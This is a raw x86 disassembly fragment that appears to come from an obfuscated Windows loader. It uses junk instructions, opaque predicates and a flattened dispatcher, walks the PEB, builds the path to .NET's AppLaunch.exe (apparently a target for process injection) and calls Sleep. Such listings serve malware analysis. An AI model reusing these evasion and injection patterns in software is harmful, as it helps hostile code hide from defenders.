xor edx, 0x5b74b21
and edx, eax
and ecx, 0xfffffffe
and eax, 1
or eax, ecx
mov ecx, edx
not ecx
and edx, 0x2751f747
mov esi, ecx
and esi, 0xd8ae08b8
or edx, esi
mov esi, eax
not esi
and eax, 0x2751f747
or ecx, esi
and esi, 0xd8ae08b8
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x151846ff
and ecx, 0xeae7b900
or eax, ecx
mov ecx, eax
xor ecx, 0x100093
xor eax, 0xeae7b900
mov esi, eax
and esi, 0xbd0ace6c
and ecx, 0x42f53193
or ecx, esi
mov esi, edx
not esi
and edx, 0x42f53193
or eax, esi
and esi, 0xbd0ace6c
or edx, esi
not eax
mov esi, 0xc7a06e70
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7f65ed79
mov edx, ecx
and edx, 0x809a1286
or eax, edx
xor eax, 0x809a1286
xor ecx, eax
test ecx, eax
setne dl
cmp dword [0x4d6178], 0xa
mov ch, dl
mov ah, dl
setl al
setge cl
or ch, al
xor ah, al
and al, dl
xor ch, 1
or al, ch
mov ch, cl
or cl, dl
xor ch, dl
xor cl, 1
mov dl, ah
xor al, 1
or cl, ch
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x95565969
cmovne ecx, esi
test al, 1
mov eax, 0x95565969
cmovne eax, ecx
jmp 0x40eecf
mov eax, 0xcded1ba9
jmp 0x402ce0
add esi, 0x63
not edx
rol edx, 0x20
and esi, 0xc1
sub edx, 0xd6
rol eax, 0xe6
not esi
neg eax
not edx
sbb esi, 0xdc
not edx
rol eax, 0x3a
rcl eax, 9
add edx, 0x95
mov esi, 0x68
not esi
inc eax
inc ebx
mov eax, 0x9a
not eax
dec edi
or eax, 0x95
dec eax
and edi, 0x31
dec edx
dec ebx
bswap edi
not ebx
inc edi
not eax
bswap edx
bswap ebx
not eax
sub esi, 0x48
and esi, 0x7a
sub eax, 0xbd
add esi, 0x9b
inc edi
imul ebx
bswap edx
rcr esi, 0xc1
not eax
ror ebx, 0xbc
rol edi, 0xd
bswap ebx
not edx
sub edx, 0xf5
or ebx, 0xc8
sbb edi, 0x3c
or esi, 0x82
mov esi, 0x13
mov esi, 0x6e
neg esi
sbb esi, 0x9e
rcr edx, 0x3b
sub edx, 0x2a
dec edi
imul esi
rcl esi, 0x11
ror esi, 0xf6
bswap eax
or esi, 0xe6
bswap edi
not eax
neg esi
inc eax
bswap esi
rol eax, 0x8a
imul eax
add eax, 0x9b
dec edi
neg eax
mov edx, 0x72
not esi
rcr edi, 0x7a
bswap eax
sbb esi, 0xef
add edi, 0xed
ror eax, 0x6c
sbb esi, 0x30
not eax
bswap eax
neg esi
imul esi
neg edi
sub esi, 0x41
inc edx
dec ebx
dec eax
sbb ebx, 7
imul edx
dec eax
not edi
mov eax, 0xbd
mov ebx, 0x9b
mov esi, 0xe0
dec edi
dec edi
and edx, 0xb1
rol ebx, 0x87
and ebx, 0x21
and edx, 0xfc
rcl ebx, 0x3e
or ebx, 0x18
or edx, 0x30
rcr eax, 0xad
dec edi
sub eax, 0x83
imul esi
mov ebx, 0x66
or edi, 0x39
dec eax
dec eax
bswap eax
mov eax, 0xf3
imul esi
dec eax
not eax
or esi, 0xee
rcr edi, 0x4e
neg esi
dec eax
or eax, 0xbf
add edx, 0xf3
rol edx, 0x67
neg esi
rol eax, 0x87
inc edx
and ebx, 0x6d
mov edi, 0xfb
rcr edx, 0xcc
add eax, 0x88
rcl esi, 0x7a
or esi, 0x9c
or esi, 0x36
imul ebx
rcl ebx, 0x7d
imul esi
neg esi
bswap eax
inc esi
inc eax
inc ebx
imul eax
ror esi, 0xe
imul ebx
inc esi
mov edi, 0xb3
not ebx
rcl edi, 0x7c
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0xd0]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xb4]
add eax, 0xfffffff8
mov dword [ecx], eax
bswap edx
bswap edx
bswap edi
imul eax
or edi, 0xd8
rcr esi, 0x43
sub ebx, 0xc4
neg edx
neg ebx
bswap eax
bswap edi
rcr esi, 0xce
not edi
bswap esi
bswap edx
imul ebx
ror edi, 0x18
neg edx
bswap esi
rcr edx, 0xce
not esi
bswap eax
or eax, 0x59
rol edx, 0xbc
inc eax
neg edi
dec edx
sbb esi, 0xb6
bswap edx
imul ebx
inc ebx
rol edi, 0x23
imul edi
neg edi
dec ebx
rcl ebx, 0x2d
and edx, 0x6e
bswap eax
sbb edi, 0x17
imul edx
dec ebx
add esi, 0xc4
rol ebx, 0xf1
mov eax, 5
mov edx, 0x2c
rcr edi, 0x69
rol ebx, 0xaf
bswap eax
neg ebx
not edi
and esi, 0x65
or edx, 0xc9
and esi, 0xf1
imul esi
ror eax, 0xb4
ror eax, 0x4f
inc ebx
neg eax
rol edi, 0x1c
imul edx
ror esi, 0x7a
and ebx, 0xb2
inc esi
imul eax
and esi, 0xf4
mov edi, 0x6d
rol ebx, 0x2c
not eax
sbb ebx, 0xe8
inc ebx
and edx, 0x1a
rcl eax, 0x96
inc edi
sbb esi, 0x87
and esi, 0xa6
bswap edi
not eax
add esi, 0x62
mov ebx, 0x50
inc edi
add eax, 0x2e
neg esi
sub eax, 0x93
dec ebx
ror edi, 0x95
sbb edi, 0x22
neg edi
bswap edi
bswap edx
bswap edi
mov edi, 0xbe
bswap esi
bswap edi
not esi
imul eax
inc edx
mov edx, 0x53
dec esi
neg eax
rcr ebx, 0x1f
ror edx, 0xfc
inc edx
dec ebx
imul edi
inc ebx
imul ebx
neg ebx
add eax, 0x47
sbb eax, 0x66
and ebx, 0x83
rcr ebx, 0xd1
add edi, 0x32
imul ebx
rcl eax, 0xb8
ror ebx, 0x6d
bswap edx
sub esi, 0xdd
sub edx, 0xc5
inc edi
not ebx
not ebx
neg edi
neg ebx
dec esi
bswap esi
not esi
bswap ebx
rol edi, 0x5e
neg eax
add edx, 0x4e
mov edx, 0x7c
ror esi, 0x1e
add edi, 0xec
imul edi
ror ebx, 0xd3
neg edx
rcl ebx, 0xdf
inc ebx
or edi, 0x20
sub eax, 0x28
inc ebx
rol eax, 0xf0
sbb ebx, 7
imul esi
mov edx, 0xa
dec ebx
sbb ebx, 0x87
rol eax, 0xff
imul edx
dec esi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb0]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, 0xc5a398c0
jmp 0x402ce0
mov eax, 0x6dfae452
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 2
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbdf620f8
mov esi, ecx
and esi, 0x4209df07
mov edi, ecx
or edi, 0x30228109
and ecx, 0xf26ada1d
or edx, esi
and edi, 0x326aa3a9
mov esi, edx
xor edx, 0x8101
xor esi, 0x840000
or edx, 0x24822a0
and esi, 0x854402
and edx, 0x326aa3a9
or esi, edx
mov edx, eax
and edx, 0xcd101854
and eax, 0xd9525e2
or edx, edi
or eax, ecx
mov edi, 0x51aa92eb
xor edx, esi
mov esi, edx
not esi
and edx, 0x30a7c50a
and esi, 0xcf583af5
or edx, esi
mov ecx, edx
not ecx
and edx, 0x43fc4ab3
mov esi, ecx
and esi, 0xbc03b54c
or edx, esi
mov esi, eax
xor esi, 0x19400a2
xor eax, 0xb002900c
and eax, 0xbc03b54c
and esi, 0x43fc4ab3
or esi, eax
xor esi, edx
xor ecx, esi
test ecx, esi
mov esi, 0xf599d78
setne ah
sete ch
cmp dword [0x4d6178], 0xa
setge al
setl cl
mov edx, eax
or cl, ah
xor dl, ch
or ch, al
and dl, al
xor al, ah
mov dh, ch
mov ah, dl
xor dl, al
xor al, 1
xor dh, cl
or cl, ch
xor ah, 1
xor cl, 1
or al, ah
or cl, dh
xor al, 1
mov ah, cl
or al, dl
xor ah, 1
mov edx, eax
xor dl, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov cl, ah
mov edx, 0x51aa92eb
xor cl, al
test al, 1
cmovne edx, esi
test ah, 1
cmovne edx, edi
test cl, 1
cmove edx, esi
mov eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x134]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0xe8], eax
mov eax, 0x12006b4e
jmp 0x402ce0
mov eax, 0x9793d7f1
jmp 0x402ce0
mov eax, 0x5ab2480d
jmp 0x402ce0
mov eax, 0xc8b3adc8
jmp 0x402ce0
mov eax, dword [ebp - 0x168]
movzx eax, word [eax]
shr eax, 0xc
mov dword [ebp - 0x16c], eax
mov eax, 0x5b374177
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
xor ecx, 0xfffffffe
not edx
mov esi, edx
and ecx, eax
and edx, 0xe7ef5c5e
and eax, 0x1810a3a1
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov esi, 0xfac646b7
mov edx, eax
xor edx, 0x1810a3a1
xor eax, 0xe7ef5c5e
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne cl
sete dl
cmp dword [0x4d6178], 0xa
setl ah
setge al
or ah, cl
mov ecx, eax
or al, dl
xor cl, dl
xor ah, 1
xor al, 1
and cl, dl
or al, ah
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xb50cd52c
cmovne eax, esi
test dl, dl
mov edx, 0xb50cd52c
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0x51e4e36d
jmp 0x402ce0
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x94]
mov edx, dword [ebp - 0x10c]
mov dword [eax + ecx], edx
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xac]
mov eax, 0x211dd47d
jmp 0x402ce0
mov eax, 0x6e5442c8
jmp 0x402ce0
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0xb4]
vmovups ymm1, ymmword [0x42d1a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x42d1c0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x64]
add eax, 0x24
mov dword [ecx], eax
neg ebx
ror ebx, 0xa9
rcr edi, 0x72
sub ebx, 0x43
sbb edi, 0xa
bswap eax
or ebx, 0x56
or edx, 0x26
neg edx
rol edx, 0x81
imul edi
sub edx, 0x38
inc eax
imul edi
neg ebx
not edi
dec edi
ror edi, 0xaf
bswap edi
imul eax
sub esi, 0xaf
mov edi, 0x53
sbb edx, 0x20
sbb ebx, 0xd3
sbb edi, 0xe2
mov edx, 0xf7
neg esi
mov eax, 9
ror eax, 0xc1
add ebx, 0x8c
rcl eax, 0x79
neg esi
inc esi
sbb eax, 0x81
not esi
sbb esi, 0x76
ror edx, 0xa3
rcl ebx, 0xbf
not esi
and edx, 0xcc
not edi
or eax, 0xc6
bswap edx
neg ebx
neg ebx
rcl edx, 0x27
not edi
dec edx
sbb edx, 0xba
not eax
not edx
add edx, 0x4f
sub esi, 0x9d
not edi
neg edx
not ebx
or ebx, 0xc5
inc edx
inc edi
ror eax, 0x2a
neg esi
rcl ebx, 0xe6
imul ebx
bswap esi
or edi, 0xc9
rcr eax, 0xc6
sbb ebx, 1
or edi, 0x62
sub esi, 0
add ebx, 7
inc edi
rcl edi, 0xb1
sbb edx, 0xd6
dec esi
inc edi
rol eax, 0xaa
neg ebx
rol edi, 0xd2
rcr esi, 0x62
inc esi
ror eax, 0x79
mov eax, 0xd8
not edi
rcl esi, 0xa1
imul esi
imul edx
sub ebx, 0xce
rol ebx, 0x30
inc eax
and esi, 0xcd
neg edx
add esi, 0xfa
ror edx, 0xb8
dec edi
not eax
sub ebx, 0x24
neg edx
imul edx
inc edi
ror edx, 0xb8
rcr eax, 0xd
dec ebx
neg edx
not edx
inc eax
not ebx
sub ebx, 0x7e
imul edx
not edi
rcr edi, 0xc7
neg eax
sbb esi, 0x6a
dec esi
sbb edi, 0x26
not ebx
imul ebx
add esi, 0x51
sub eax, 0x2a
not edx
or ebx, 0xa0
bswap eax
bswap edx
add edx, 0x12
mov esi, 0x12
not esi
add esi, 0xd2
rol esi, 0x45
dec esi
neg eax
rol eax, 0xbb
not ebx
and esi, 7
dec ebx
imul ebx
ror edx, 0x4f
bswap edi
or esi, 0x61
dec edx
inc ebx
neg edx
neg edi
bswap edi
rcr edx, 0xa4
or ebx, 0x88
mov eax, 0x41
dec edi
sbb edi, 0x97
inc edi
not edx
ror edi, 0x6d
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, 0xc7953e6e
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x42d1d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x88]
setne byte [eax]
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x88]
cmp byte [eax], 0
mov eax, 0x2b08b91e
cmove eax, ecx
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x8290fcd3
and ecx, 0x7d6f032c
or eax, ecx
mov ecx, eax
xor ecx, 0x290b8c1
xor eax, 0x44480308
and eax, 0xc448471a
and ecx, 0x3bb7b8e5
or ecx, eax
mov eax, ecx
xor ecx, 0x21a210c5
xor eax, 0xc448471a
mov edx, eax
and ecx, 0x21ea10cf
and edx, 0xde15ef30
and eax, 0x80c18f61
or edx, ecx
mov ecx, edx
mov esi, edx
xor ecx, 0xde15ef30
xor esi, 0x5ed46051
xor edx, 0x20c01088
and esi, ecx
and edx, 0x60c41698
and ecx, 0x9f3be966
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x7f3e709f
xor ecx, 0x9f3be966
and esi, 0x80c18f60
or eax, esi
mov esi, 0x15ec6e57
or ecx, eax
mov edx, ecx
not edx
and ecx, 0x34e56b52
and edx, 0xcb1a94ad
or edx, ecx
mov eax, edx
xor eax, 0x14000850
xor edx, 0xc11a0409
and edx, 0xe1ff670b
and eax, 0x1e0098f4
or eax, edx
mov ecx, eax
xor ecx, 0x2008884
xor eax, 0xa00b0309
and eax, 0xbc0b1379
and ecx, 0x43f4ec86
or ecx, eax
xor ecx, 0x43f4ec86
sete cl
setne al
cmp dword [0x4d6178], 0xa
setl dl
xor al, dl
or cl, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ah, al
xor ah, cl
and cl, al
and ah, al
or cl, dl
mov edx, 0x20905812
mov al, ah
xor al, cl
test cl, cl
mov ecx, 0x20905812
cmovne ecx, esi
test ah, ah
cmove ecx, edx
test al, al
cmovne ecx, esi
mov eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ecx], eax
mov eax, 0x70c343dd
jmp 0x402ce0
mov eax, dword [0x4d617c]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
mov edx, esi
and edx, 0x83ca993a
or esi, 0x2cc4b08
mov ecx, eax
and ecx, 0x7c3566c5
and esi, 0x12cfeb2b
and eax, 0x85201444
or ecx, edx
or eax, esi
mov edx, ecx
xor ecx, 0x83ca993a
xor edx, 0x7c3566c5
mov edi, ecx
or edi, 0x1003a023
mov ebx, edx
and ebx, 0x68100090
or edx, 1
and ecx, 0xa2c2e514
and edi, 0x12cfeb2b
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xad19166a
and esi, 0x52e6e995
or eax, esi
mov esi, eax
xor esi, 0x82c04511
xor eax, 0x383aa20c
mov edi, eax
or eax, edx
and edx, 0x5d3d1aea
and edi, 0x5d3d1aea
and esi, 0xa2c2e515
or esi, edi
or ecx, edx
not eax
xor ecx, esi
mov esi, 0x1f1d4e79
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x554464a3
and ecx, 0xaabb9b5c
or ecx, edx
xor ecx, 0xaabb9b5c
or ecx, eax
xor ecx, 0xffffffff
sete al
setne dl
cmp dword [0x4d6178], 0xa
setge cl
setl ah
and dl, ah
and cl, al
or ah, al
or cl, dl
mov edx, ecx
xor dl, 1
mov al, dl
or dl, ah
xor al, ah
not dl
or dl, al
mov eax, 0x5b67a04b
xor dl, cl
and dl, 1
cmovne eax, esi
test dl, cl
mov ecx, 0x5b67a04b
cmove eax, esi
jmp 0x40ecea
cmp dword [ebp - 0x114], 0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
setne byte [ebp - 0x7d]
imul eax, ecx
mov esi, eax
xor esi, 0xb2c68489
mov edi, eax
or edi, 0x4d397b76
and esi, eax
mov ecx, esi
not ecx
and esi, 0xbe9276a
mov edx, ecx
and edx, 0xf416d895
or ecx, edi
and edi, 0xf416d895
or esi, edx
mov edx, eax
not edx
not ecx
and eax, 0x848352f6
mov ebx, edx
and ebx, 0x2c00408
and edx, 0x7b7cad08
or ebx, edi
or eax, edx
xor ebx, esi
xor eax, 0x848352f6
or ecx, ebx
mov esi, ecx
not esi
and ecx, 0x4d397b77
and esi, 0xb2c68488
or ecx, esi
mov esi, 0x5ed1a372
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x38aa0
and eax, 0x7de8055e
and ecx, 0x82147001
or edx, ecx
xor edx, 0x38aa0
or eax, edx
mov ecx, eax
not ecx
and eax, 0xfb8ffa81
and ecx, 0x470057e
or eax, ecx
mov ecx, eax
xor ecx, 0x18880020
xor eax, 0x80077f49
and ecx, 0x1ee880b6
and eax, 0xe1177f49
or eax, ecx
cmp eax, 0xe1177f49
sete cl
cmp dword [0x4d6178], 0xa
setl dl
setge al
xor dl, cl
xor cl, al
and al, cl
or al, dl
mov ah, al
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
xor al, cl
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or ah, cl
and ch, cl
xor ah, 1
or dl, ch
mov ecx, 0xd7056961
or ah, al
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test ah, 1
mov eax, 0xd7056961
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x402ce0
cmp byte [ebp - 0x76], 0
mov eax, 0xe86f16f4
mov ecx, 0xd9e31d92
cmovne eax, ecx
jmp 0x402ce0
mov eax, 0x507cbba5
jmp 0x402ce0
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb8]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0x2ca5af4a
jmp 0x402ce0
mov eax, 0xed534df5
jmp 0x402ce0
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*8 + 0x24]
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, 0x6ec9a966
jmp 0x402ce0
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xc
mov eax, 0x9310774a
jmp 0x402ce0
mov eax, 0x8d13efe0
jmp 0x402ce0
mov eax, 0x243b92a8
jmp 0x402ce0
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, 0xadf5a3e1
jmp 0x402ce0
mov ecx, dword [0x4d617c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xf5d92124
mov edx, eax
not edx
and ecx, eax
or eax, 0xa26dedb
and edx, 0x31810020
mov esi, eax
and esi, 0xcc582785
or edx, esi
mov esi, ecx
not esi
and ecx, 0x33a7d87a
or eax, esi
and esi, 0xcc582785
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf045a5bb
and ecx, 0xfba5a44
or eax, ecx
mov ecx, eax
mov edx, eax
xor eax, 0xfa637b60
xor ecx, 0x59c849f
xor edx, 0x59c849e
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
or ecx, edx
mov esi, ecx
or esi, 0x834c42c4
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x10b3bd19
and eax, ecx
and esi, 0x937febdc
and edx, 0x801401
or edx, esi
mov esi, eax
not esi
and eax, 0x6c801423
or ecx, esi
and esi, 0x937febdc
or eax, esi
not ecx
mov esi, 0xb54adbe1
xor eax, edx
or ecx, eax
not eax
and eax, 0xef4c42e6
and ecx, 0x10b3bd19
or ecx, eax
setne dl
sete ah
cmp dword [0x4d6178], 0xa
mov ch, dl
setl cl
setge al
and dl, cl
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
and al, ah
xor cl, 1
or al, dl
xor al, cl
mov edx, eax
not dl
and dl, cl
test al, 1
mov ecx, 0x4ec14355
cmovne ecx, esi
test dl, 1
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402ce0
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, 0xb54adbe1
jmp 0x402ce0
mov edx, dword [ebp - 0x1b0]
mov eax, edx
not eax
and edx, 0x1641759
mov ecx, eax
and ecx, 0xde9be8a6
or edx, ecx
mov ecx, eax
or ecx, 0x10d16916
mov esi, edx
xor esi, 0x1241649
xor edx, 0x30916806
and ecx, 0x30d16916
and edx, 0x30d16916
and esi, 0xcf2e96e9
or esi, edx
mov edx, 0x2d3d7f8c
xor ecx, esi
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x90c10b98
and eax, 0x6f3ef467
or ecx, eax
mov eax, 0x2ca4b950
cmp ecx, 0x90c10b98
cmove eax, edx
jmp 0x402ce0
mov eax, dword [ebp - 0x60]
mov edi, 0x26e3f753
mov eax, dword [eax]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov ecx, dword [0x4d617c]
mov dword [ebp - 0x190], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0x446e9c06
mov ecx, eax
and ecx, 0x221004
and edx, eax
not eax
and eax, 0x444c8c02
or ecx, eax
xor ecx, 0x221004
or edx, ecx
mov eax, edx
not eax
and edx, 0x331af563
and eax, 0xcce50a9c
or edx, eax
mov eax, edx
mov ecx, edx
xor eax, 0x54640061
xor ecx, 0x888b969a
xor edx, 0x62302064
mov esi, ecx
and esi, 0xa399eb16
and eax, 0x5c6614e9
or ecx, 1
and edx, 0x6ab3a466
or eax, esi
and ecx, 0x954c5b99
mov esi, eax
not esi
and eax, 0x81d3adbc
or ecx, edx
and esi, 0x7e2c5243
or eax, esi
mov esi, eax
xor esi, 0x220200a9
xor eax, 0xddb5b954
mov edx, eax
and edx, 0x9d784656
and esi, 0x6287b9a9
or esi, edx
mov edx, ecx
xor edx, 0x41988
xor ecx, 0x6ab3a466
or eax, ecx
and ecx, 0x9d784656
and edx, 0x6287b9a8
or edx, ecx
not eax
xor edx, esi
mov esi, 0xe4765435
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe1f776d0
and ecx, 0x1e08892f
or ecx, eax
xor ecx, 0xe1f776d0
setne al
sete dl
cmp dword [0x4d6178], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
xor ch, dl
and ah, dl
or cl, dl
or al, ah
xor cl, 1
or cl, ch
xor cl, 1
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0x26e3f753
cmovne eax, esi
test cl, cl
cmove eax, edi
test dl, 1
cmove eax, esi
jmp 0x402ce0
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0x2c]
inc eax
mov dword [ecx], eax
mov eax, 0xff0ca8d1
jmp 0x402ce0
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov dword [ebp - 0x1a0], eax
mov eax, 0xafef97c8
jmp 0x402ce0
cmp eax, 0xea3d172
jne 0x402ce0
mov esi, dword [ebp - 0x1c4]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0041fdf0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret